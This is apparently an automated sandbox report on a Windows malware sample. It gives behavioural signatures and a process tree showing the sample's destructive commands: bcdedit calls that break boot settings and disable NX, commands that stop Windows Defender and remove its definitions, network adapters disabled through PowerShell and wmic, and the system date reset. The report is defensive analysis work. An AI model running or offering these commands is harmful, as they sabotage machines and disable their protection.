Analysis

  • max time kernel
    9s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    19/04/2026, 01:45

General

  • Target
    747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe
  • Size 992KB
  • Sample260419-b6s8psbt2j
  • SHA256 747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Writes to the Master Boot Record (MBR) 1 TTPs 1 IoCs

    Bootkits write to the MBR to gain persistence at a level below the operating system.

  • Drops file in System32 directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 23 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 51 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe
    "C:\Users\Admin\AppData\Local\Temp\747c776263ee41c007f970c8628ec981e582417100b3773c3dcbcd6729363054.exe"
    1⤵
    • Writes to the Master Boot Record (MBR)
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4588
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c echo wow64log.dll > %SystemRoot%\System32\wow64log.dll
      2⤵
      • Drops file in System32 directory
      • System Location Discovery: System Language Discovery
      PID:3296
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c md %SystemRoot%\System32\config\OSDATA
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3644
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set optionsedit 1
      2⤵
      • System Location Discovery: System Language Discovery
      PID:804
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} device partition=Z:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4844
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {bootmgr} path \nonexistent\bootmgr
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3424
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} device partition=X:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:1192
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} osdevice partition=Y:
      2⤵
      • System Location Discovery: System Language Discovery
      PID:2856
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} path \windows\system32\notexist.exe
      2⤵
      • System Location Discovery: System Language Discovery
      PID:556
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} systemroot \windows\cursors
      2⤵
      • System Location Discovery: System Language Discovery
      PID:4372
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c bcdedit /set {current} nx AlwaysOff
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3536
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command 'Get-CimInstance Win32_NetworkAdapter | Where-Object { $_.NetEnabled -eq $true } | Invoke-CimMethod -Name Disable'
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:3528
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command 'Get-CimInstance Win32_NetworkAdapter
        3⤵
        • Command and Scripting Interpreter: PowerShell
        PID:4308
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c date 01/01/2038 | date 01/01/2028 | date 01/01/2024
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2038 "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3616
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2028 "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4948
      • C:\Windows\SysWOW64\cmd.exe
        C:\Windows\system32\cmd.exe /S /D /c" date 01/01/2024"
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:4476
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c time 00:00:00
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of AdjustPrivilegeToken
      PID:5064
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c start net stop WinDefend
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2488
      • C:\Windows\SysWOW64\net.exe
        net stop WinDefend
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:3524
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop WinDefend
          4⤵
          • System Location Discovery: System Language Discovery
          PID:1284
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c start C:\Program Files (x86)\Windows Defender\MpCmdRun.exe -RemoveDefinitions -All
      2⤵
      • System Location Discovery: System Language Discovery
      PID:3096
    • C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c wmic path win32_networkadapter where 'AdapterTypeID=0 AND NetEnabled='TRUE'' call disable
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2900
      • C:\Windows\SysWOW64\Wbem\WMIC.exe
        wmic path win32_networkadapter where 'AdapterTypeID=0 AND NetEnabled='TRUE'' call disable
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of AdjustPrivilegeToken
        PID:3228

Network

        MITRE ATT&CK Enterprise v16

        Replay Monitor

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        Downloads

        memory/3096-1-0x0000000002B90000-0x0000000002C12000-memory.dmp